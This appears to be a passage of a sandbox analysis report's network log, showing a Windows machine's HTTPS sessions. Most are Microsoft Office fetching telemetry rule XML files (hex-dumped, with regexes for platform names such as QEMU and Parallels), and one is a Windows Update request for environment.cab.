2024-10-26 11:45:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:08 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114508Z-16849878b78x6gn56mgecg60qc00000003r000000000d05e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:08 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114508Z-16849878b78p8hrf1se7fucxk800000002y0000000001c2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:08 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114508Z-16849878b78xblwksrnkakc08w000000019g000000002ve5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:09 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:09 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 384d3f9c-b01e-003d-2424-26d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114509Z-r197bdfb6b4d9xksru4x6qbqr000000001wg000000007hyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:09 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:09 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:09 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114509Z-16849878b78hh85qc40uyr8sc8000000025g00000000d26y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:09 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:09 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:09 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: c1ca1df0-401e-0029-1e3a-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114509Z-17c5cb586f6hhlf5mrwgq3erx8000000030g000000006nnz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:09 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:09 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ee7a308c-c01e-00a1-620b-227e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114509Z-16849878b78tg5n42kspfr0x4800000001vg00000000fuvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:09 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:09 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: fc13fe58-401e-000a-0af3-244a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114509Z-15b8d89586fvpb597drk06r8fc00000002z000000000664t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:09 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49718	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGUGTxVnaTUuxkx&MD=Fnl7T5MM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-26 11:45:10 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f44e6c88-1636-4806-a2d5-e30fbd3a825e MS-RequestId: de3dd3e3-cd14-4cd0-a5f5-aa40170b598d MS-CV: Kt3W3Ko89UiptMSX.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 26 Oct 2024 11:45:09 GMT Connection: close Content-Length: 24490
2024-10-26 11:45:10 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-26 11:45:10 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-16849878b785jrf8dn0d2rczaw000000031000000000e86x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 25ee231e-901e-0083-60ac-24bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-15b8d89586flzzks5bs37v2b90000000069g000000001sx2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
